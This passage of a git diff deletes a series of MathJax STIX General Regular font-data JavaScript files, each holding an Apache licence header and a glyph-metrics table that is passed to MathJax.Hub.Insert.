-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{592:[460,10,444,8,413],593:[460,10,500,27,491],594:[460,10,500,27,491],595:[683,10,500,69,468],596:[459,11,444,10,397],597:[460,160,444,25,417],598:[683,233,553,27,599],599:[683,10,587,27,602],600:[460,10,444,20,419],601:[460,10,444,14,413],602:[460,13,657,36,651],603:[475,14,438,20,389],604:[475,14,438,20,389],605:[475,14,623,20,603],606:[475,14,479,20,430],607:[460,218,315,-49,296],608:[683,212,594,32,634],609:[482,212,537,32,455],610:[450,11,570,30,539],611:[450,234,500,19,480],612:[450,10,500,13,486],613:[450,233,500,13,491],614:[683,0,500,9,487],615:[683,233,481,9,427],616:[683,0,278,16,253],617:[454,10,333,17,311],618:[450,0,258,21,231],619:[683,0,350,10,340],620:[683,0,375,12,362],621:[683,233,302,10,352],622:[683,233,549,19,538],623:[450,10,778,11,770],624:[450,233,803,11,785],625:[460,233,778,16,706],626:[460,233,529,-70,514],627:[460,233,533,16,603],628:[450,8,602,29,561],629:[460,10,500,29,470],630:[450,6,720,23,697],631:[475,4,667,37,629],632:[683,233,667,40,626],633:[450,10,370,30,360],634:[683,10,370,30,364],635:[450,233,418,30,468],636:[460,233,333,5,335],637:[460,233,370,7,339],638:[470,0,315,10,337],639:[470,0,350,5,332],640:[464,0,475,21,470],641:[464,0,475,21,470],642:[458,218,389,50,348],643:[683,233,322,-70,372],644:[683,218,304,-70,372],645:[470,233,400,15,457],646:[683,243,437,-23,422],647:[460,129,278,16,282],648:[579,233,270,13,283],649:[450,10,500,9,480],650:[450,10,537,46,490],651:[460,10,500,32,476],652:[464,0,500,-4,454],653:[464,0,722,21,694],654:[668,0,444,-2,459],655:[464,0,587,23,564],656:[450,218,528,27,569],657:[450,150,507,27,487],658:[450,233,413,12,392],659:[450,305,431,12,410],660:[683,0,450,47,400],661:[683,0,450,48,401],662:[662,14,450,47,400],663:[460,230,450,80,410],664:[679,17,723,33,690],665:[464,0,460,15,444],666:[475,14,479,20,430],667:[523,11,600,29,583],668:[464,0,572,21,560],669:[683,233,387,-23,412],670:[450,233,519,1,499],671:[464,0,470,21,441],672:[582,217,600,24,590],673:[683,0,450,48,401],674:[683,0,450,48,401],675:[683,10,802,27,775],676:[683,233,743,27,722],677:[683,160,864,27,844],678:[579,10,536,13,495],679:[683,233,483,13,540],680:[579,10,650,13,641],686:[469,232,619,15,612],687:[469,233,679,15,729]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/IPAExtensions.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Latin1Supplement.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Latin1Supplement.js
deleted file mode 100644
index 3369ef56..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Latin1Supplement.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Latin1Supplement.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{161:[468,218,330,96,202],162:[579,138,500,53,448],163:[676,8,500,12,490],164:[534,10,500,-22,522],165:[662,0,500,-53,512],166:[676,14,200,67,133],167:[676,148,500,70,426],169:[676,14,760,38,722],170:[676,-394,276,4,270],171:[416,-33,500,42,456],173:[257,-194,333,39,285],174:[676,14,760,38,722],176:[676,-390,400,57,343],178:[676,-270,300,1,296],179:[676,-262,300,13,291],180:[678,-507,333,93,317],181:[450,218,500,36,512],182:[662,154,592,60,532],184:[0,215,333,52,261],185:[676,-270,300,57,248],186:[676,-394,310,6,304],187:[416,-33,500,43,458],188:[676,14,750,42,713],189:[676,14,750,36,741],190:[676,14,750,13,718],191:[467,218,444,30,376],192:[928,0,722,15,707],193:[928,0,722,15,707],194:[924,0,722,15,707],195:[888,0,722,15,707],196:[872,0,722,15,707],197:[961,0,722,15,707],198:[662,0,889,0,863],199:[676,215,667,28,633],200:[928,0,611,12,597],201:[928,0,611,12,597],202:[924,0,611,12,597],203:[872,0,611,12,597],204:[928,0,333,18,315],205:[928,0,333,18,315],206:[924,0,333,10,321],207:[872,0,333,17,315],208:[662,0,722,16,685],209:[888,11,722,12,707],210:[928,14,722,34,688],211:[928,14,722,34,688],212:[924,14,722,34,688],213:[888,14,722,34,688],214:[872,14,722,34,688],216:[734,80,722,34,688],217:[928,14,722,14,705],218:[928,14,722,14,705],219:[924,14,722,14,705],220:[872,14,722,14,705],221:[928,0,722,22,703],222:[662,0,556,16,542],223:[683,9,500,12,468],224:[678,10,444,37,442],225:[678,10,444,37,442],226:[674,10,444,37,442],227:[638,10,444,37,442],228:[622,10,444,37,442],229:[713,10,444,37,442],230:[460,7,667,38,632],231:[460,215,444,25,412],232:[678,10,444,25,424],233:[678,10,444,25,424],234:[674,10,444,25,424],235:[622,10,444,25,424],236:[678,0,278,6,243],237:[678,0,278,16,273],238:[674,0,278,-17,294],239:[622,0,278,-10,288],240:[686,10,500,29,471],241:[638,0,500,16,485],242:[678,10,500,29,470],243:[678,10,500,29,470],244:[674,10,500,29,470],245:[638,10,500,29,470],246:[622,10,500,29,470],248:[551,112,500,29,470],249:[678,10,500,9,480],250:[678,10,500,9,480],251:[674,10,500,9,480],252:[622,10,500,9,480],253:[678,218,500,14,475],254:[683,217,500,5,470],255:[622,218,500,14,475]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/Latin1Supplement.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedA.js
deleted file mode 100644
index ae06d4a8..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedAdditional.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedAdditional.js
deleted file mode 100644
index 4d2b8b36..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedAdditional.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedAdditional.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedB.js
deleted file mode 100644
index f513b5fc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedD.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedD.js
deleted file mode 100644
index 5089a874..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedD.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LatinExtendedD.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{42791:[683,233,481,9,427]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/LatinExtendedD.js");
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LetterlikeSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LetterlikeSymbols.js
deleted file mode 100644
index 346ebf57..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LetterlikeSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/LetterlikeSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Main.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Main.js
deleted file mode 100644
index 588d30ff..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBold.js
deleted file mode 100644
index 554e599d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldItalic.js
deleted file mode 100644
index ea01a7a9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldScript.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldScript.js
deleted file mode 100644
index 3fb6d9f9..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldScript.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathBoldScript.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathItalic.js
deleted file mode 100644
index d5b18ae7..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{119860:[667,0,717,35,685],119861:[653,0,696,38,686],119862:[659,12,671,50,711],119863:[653,0,790,38,765],119864:[653,0,714,38,734],119865:[653,0,618,38,723],119866:[668,12,734,50,734],119867:[653,0,873,38,923],119868:[653,0,480,38,530],119869:[653,12,540,60,620],119870:[653,0,762,38,802],119871:[653,0,708,38,668],119872:[653,0,1005,38,1055],119873:[653,0,851,38,901],119874:[669,11,732,50,712],119875:[653,0,594,38,704],119876:[667,152,781,50,731],119877:[653,0,740,38,725],119878:[668,10,650,50,680],119879:[653,0,550,25,670],119880:[653,13,705,65,775],119881:[653,16,575,60,760],119882:[653,16,916,60,1101],119883:[653,0,790,25,810],119884:[653,0,535,35,695],119885:[653,0,772,60,802],119886:[441,10,502,40,472],119887:[668,11,470,45,450],119888:[441,11,415,40,400],119889:[668,12,532,40,527],119890:[441,11,445,40,410],119891:[668,187,555,40,615],119892:[441,187,492,20,492],119894:[616,11,311,50,257],119895:[616,187,389,-16,372],119896:[668,11,542,45,527],119897:[668,10,318,45,278],119898:[441,8,710,30,680],119899:[441,8,497,30,467],119900:[441,11,458,40,438],119901:[441,183,489,-30,474],119902:[441,183,458,40,463],119903:[441,0,408,30,393],119904:[441,11,440,50,390],119905:[567,9,313,40,283],119906:[441,9,474,30,444],119907:[458,9,506,72,479],119908:[460,9,775,72,748],119909:[441,9,550,30,510],119910:[440,183,496,30,496],119911:[450,14,499,42,467]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathOperators.js
deleted file mode 100644
index 80ba277b..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8705:[760,15,463,59,404],8708:[775,122,560,71,487],8710:[674,0,731,63,665],8714:[459,-45,486,64,422],8716:[662,157,685,60,625],8717:[459,-45,486,64,422],8718:[640,0,545,60,485],8724:[741,41,685,48,636],8731:[973,259,928,112,963],8732:[973,259,928,112,963],8735:[584,0,685,50,634],8737:[547,72,685,22,642],8738:[519,11,685,56,653],8740:[690,189,404,23,381],8742:[690,189,609,23,586],8748:[824,320,701,32,881],8749:[824,320,943,32,1123],8750:[824,320,499,32,639],8751:[824,320,741,32,881],8752:[824,320,982,32,1122],8753:[824,320,499,32,639],8754:[824,320,499,32,639],8755:[824,320,499,32,639],8756:[521,16,620,38,582],8757:[521,16,620,38,582],8758:[521,13,511,192,319],8759:[521,13,685,82,602],8760:[511,-220,685,48,637],8761:[511,5,685,48,637],8762:[511,5,685,48,637],8763:[521,13,685,48,637],8765:[362,-148,685,48,637],8766:[413,-90,685,48,637],8767:[467,-39,685,49,637],8769:[424,-88,685,48,637],8770:[445,-55,685,48,637],8772:[519,35,685,48,637],8774:[604,107,685,47,637],8775:[647,202,685,48,637],8777:[549,49,685,48,637],8778:[552,45,685,48,637],8779:[532,26,685,48,638],8780:[532,27,685,48,637],8782:[471,-35,685,48,637],8783:[471,-120,685,48,637],8785:[611,106,685,48,637],8786:[611,105,685,48,637],8787:[611,106,685,48,637],8788:[417,-89,824,48,776],8789:[417,-89,824,48,776],8790:[416,-90,685,48,637],8791:[752,-120,685,48,637],8792:[729,-120,685,48,637],8793:[853,-120,685,48,637],8794:[853,-120,685,48,637],8795:[756,-120,685,48,637],8796:[853,-120,685,48,637],8797:[823,-120,685,7,678],8798:[703,-120,685,48,637],8799:[863,-120,685,48,637],8802:[662,156,685,48,637],8803:[544,38,685,48,637],8806:[718,211,685,57,622],8807:[718,211,685,57,622],8808:[746,260,685,56,621],8809:[746,260,685,56,621],8812:[730,224,466,85,381],8813:[572,66,685,48,637],8814:[662,156,685,56,621],8815:[662,156,685,56,621],8816:[730,229,685,56,621],8817:[730,229,685,56,622],8818:[664,164,685,48,637],8819:[664,164,685,48,637],8820:[731,228,685,48,637],8821:[730,229,685,48,637],8822:[705,204,685,56,621],8823:[705,204,685,56,621],8824:[750,250,685,48,637],8825:[750,250,685,48,637],8830:[664,164,685,48,637],8831:[664,164,685,48,637],8832:[662,156,685,64,621],8833:[662,156,685,64,621],8836:[662,156,685,65,623],8837:[662,156,685,65,623],8840:[730,229,685,64,621],8841:[730,229,685,64,621],8842:[627,216,685,64,621],8843:[627,216,685,64,621],8844:[536,31,620,48,572],8845:[536,31,620,48,572],8847:[531,25,685,64,621],8848:[531,25,685,64,621],8858:[623,119,842,50,792],8859:[623,119,842,50,792],8860:[623,119,842,50,792],8861:[623,119,842,50,792],8862:[662,158,910,45,865],8863:[662,158,910,45,865],8864:[662,158,910,45,865],8865:[662,157,910,45,865],8870:[662,0,497,64,433],8871:[662,0,498,64,434],8873:[662,0,860,57,814],8874:[662,0,860,45,815],8875:[662,0,860,57,814],8876:[662,0,786,9,723],8877:[662,0,786,9,723],8878:[662,0,968,9,922],8879:[662,0,968,9,922],8880:[551,45,685,64,621],8881:[551,45,685,64,621],8882:[531,25,685,24,631],8883:[531,25,685,54,661],8884:[607,103,685,24,631],8885:[607,103,685,54,661],8886:[403,-103,1145,50,1095],8887:[403,-103,1145,50,1095],8888:[403,-103,849,50,799],8889:[547,41,685,48,636],8890:[450,212,480,74,406],8891:[536,139,620,32,590],8892:[646,29,620,32,590],8893:[646,29,620,32,590],8894:[584,0,685,50,634],8895:[662,158,911,45,865],8903:[545,38,685,51,634],8905:[582,80,810,93,716],8906:[582,80,810,93,716],8907:[582,80,810,74,736],8908:[582,80,810,74,736],8909:[445,-55,685,48,637],8910:[532,25,580,31,549],8911:[532,25,580,31,549],8912:[531,25,685,64,621],8913:[531,25,685,64,621],8914:[536,31,620,48,572],8915:[536,31,620,48,572],8916:[631,31,620,48,572],8917:[690,189,685,48,637],8918:[534,24,685,56,621],8919:[534,24,685,56,621],8920:[534,24,1274,45,1229],8921:[534,24,1274,45,1229],8922:[830,324,685,56,621],8923:[830,324,685,56,621],8924:[607,103,685,64,621],8925:[607,103,685,64,621],8926:[627,121,685,64,621],8927:[627,121,685,64,621],8928:[730,229,685,64,621],8929:[730,229,685,64,621],8930:[730,229,685,65,622],8931:[730,229,685,65,622],8932:[627,216,685,64,621],8933:[627,216,685,64,621],8934:[669,279,685,48,637],8935:[669,279,685,48,637],8936:[670,279,685,48,637],8937:[670,279,685,48,637],8938:[662,156,635,24,581],8939:[662,156,635,54,611],8940:[730,229,635,24,581],8941:[730,229,635,54,611],8944:[520,18,926,194,732],8946:[531,27,823,55,763],8947:[531,27,685,60,625],8948:[459,-45,486,62,420],8949:[716,27,685,60,625],8950:[685,27,685,60,625],8951:[613,-45,486,62,420],8952:[532,180,685,60,625],8953:[531,27,685,61,625],8954:[531,27,823,55,763],8955:[531,27,685,59,624],8956:[459,-45,486,62,420],8957:[685,27,685,61,626],8958:[613,-45,486,67,425],8959:[662,0,560,73,487]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathOperators.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSS.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSS.js
deleted file mode 100644
index ef1af35c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSS.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSS.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120224:[674,0,666,31,635],120225:[662,0,604,74,547],120226:[676,14,671,27,637],120227:[662,0,692,74,656],120228:[662,0,583,74,540],120229:[662,0,535,74,523],120230:[676,14,695,27,627],120231:[662,0,658,74,584],120232:[662,0,401,45,356],120233:[662,14,398,12,305],120234:[662,0,634,74,630],120235:[662,0,559,74,546],120236:[662,0,843,75,768],120237:[662,14,675,74,601],120238:[676,14,714,30,684],120239:[662,0,525,74,512],120240:[676,175,716,30,691],120241:[662,0,589,74,581],120242:[676,14,541,32,481],120243:[662,0,608,15,593],120244:[662,14,661,69,592],120245:[662,11,654,31,623],120246:[662,11,921,29,892],120247:[662,0,700,31,669],120248:[662,0,630,21,609],120249:[662,0,637,28,603],120250:[463,10,448,35,391],120251:[684,10,496,63,466],120252:[463,10,456,23,432],120253:[684,11,494,28,437],120254:[463,10,444,23,428],120255:[683,0,336,20,369],120256:[463,216,496,21,467],120257:[684,0,487,63,424],120258:[679,0,220,64,156],120259:[679,216,254,-74,185],120260:[684,0,453,63,452],120261:[684,0,205,61,144],120262:[464,0,756,65,691],120263:[464,0,487,63,424],120264:[463,10,499,28,471],120265:[464,216,498,67,470],120266:[464,216,498,28,435],120267:[464,0,336,63,328],120268:[463,10,389,49,350],120269:[580,10,291,1,287],120270:[453,11,491,63,430],120271:[453,14,474,31,443],120272:[453,14,702,28,675],120273:[453,0,482,30,452],120274:[453,216,484,28,453],120275:[453,0,447,25,417],120802:[676,14,500,23,477],120803:[677,0,500,108,302],120804:[676,0,500,35,469],120805:[676,14,500,31,441],120806:[676,0,500,11,489],120807:[676,14,500,36,458],120808:[684,14,500,32,470],120809:[662,8,500,38,451],120810:[676,14,500,49,447],120811:[676,21,500,28,466]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathSS.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSBold.js
deleted file mode 100644
index 473800d0..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120276:[690,0,690,25,665],120277:[676,0,636,80,594],120278:[691,19,723,49,688],120279:[676,0,709,80,674],120280:[676,0,635,80,597],120281:[676,0,582,80,570],120282:[691,19,746,37,671],120283:[676,0,715,80,635],120284:[676,0,440,65,375],120285:[676,96,481,15,406],120286:[676,0,712,80,707],120287:[676,0,603,80,587],120288:[676,0,913,80,833],120289:[676,18,724,80,644],120290:[692,18,778,35,743],120291:[676,0,581,80,569],120292:[691,176,779,35,754],120293:[676,0,670,80,657],120294:[691,19,554,35,511],120295:[676,0,641,14,627],120296:[676,19,699,75,624],120297:[676,18,690,25,665],120298:[676,15,997,30,967],120299:[676,0,740,40,700],120300:[676,0,694,20,674],120301:[676,0,653,25,623],120302:[473,14,489,23,428],120303:[676,13,512,55,487],120304:[473,14,462,25,442],120305:[676,14,518,25,463],120306:[473,13,452,25,433],120307:[691,0,340,14,374],120308:[472,206,504,28,490],120309:[676,0,510,55,455],120310:[688,0,245,50,195],120311:[688,203,324,-57,269],120312:[676,0,519,55,506],120313:[676,0,235,55,180],120314:[473,0,776,55,721],120315:[473,0,510,55,455],120316:[473,14,501,25,476],120317:[473,205,512,55,487],120318:[473,205,512,25,457],120319:[473,0,411,55,406],120320:[473,13,385,25,357],120321:[630,12,386,7,371],120322:[461,15,518,55,463],120323:[461,14,462,15,447],120324:[461,14,701,17,684],120325:[461,0,506,20,486],120326:[461,205,472,18,455],120327:[461,0,441,21,417],120812:[688,13,500,24,476],120813:[688,0,500,82,334],120814:[688,0,500,20,474],120815:[688,13,500,18,479],120816:[688,0,500,19,484],120817:[676,13,500,13,483],120818:[688,13,500,26,475],120819:[676,0,500,35,471],120820:[688,13,500,28,472],120821:[688,13,500,26,475],120822:[681,11,525,55,467]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathSSBold.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalic.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalic.js
deleted file mode 100644
index ae5587e3..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalic.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalic.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120328:[674,0,666,31,635],120329:[662,0,604,74,641],120330:[676,14,671,96,755],120331:[662,0,692,74,751],120332:[662,0,583,74,678],120333:[662,0,535,74,679],120334:[676,14,695,97,755],120335:[662,0,658,74,749],120336:[662,0,401,59,512],120337:[662,14,398,22,470],120338:[662,0,634,74,729],120339:[662,0,559,74,564],120340:[662,0,843,75,933],120341:[662,14,675,74,766],120342:[676,14,714,99,779],120343:[662,0,525,74,638],120344:[676,175,716,99,779],120345:[662,0,589,74,639],120346:[676,14,541,62,597],120347:[662,0,608,161,748],120348:[662,14,661,117,757],120349:[662,11,654,196,788],120350:[662,11,921,194,1057],120351:[662,0,700,31,806],120352:[662,0,630,186,774],120353:[662,0,637,28,763],120354:[463,10,448,55,467],120355:[684,10,496,74,535],120356:[463,10,456,67,503],120357:[684,11,494,72,600],120358:[463,10,444,69,487],120359:[683,0,336,101,526],120360:[463,216,496,-7,575],120361:[684,0,487,63,510],120362:[679,0,220,69,325],120363:[679,216,254,-118,354],120364:[684,0,453,63,556],120365:[684,0,205,61,313],120366:[464,0,756,65,775],120367:[464,0,487,63,510],120368:[463,10,499,76,536],120369:[464,216,498,14,538],120370:[464,216,498,72,549],120371:[464,0,336,63,439],120372:[463,10,389,61,432],120373:[580,10,291,96,376],120374:[453,11,491,89,536],120375:[453,14,474,143,555],120376:[453,14,702,140,787],120377:[453,0,482,30,544],120378:[453,216,484,-19,565],120379:[453,0,447,25,517]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathSSItalic.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalicBold.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalicBold.js
deleted file mode 100644
index 27cb6602..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalicBold.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
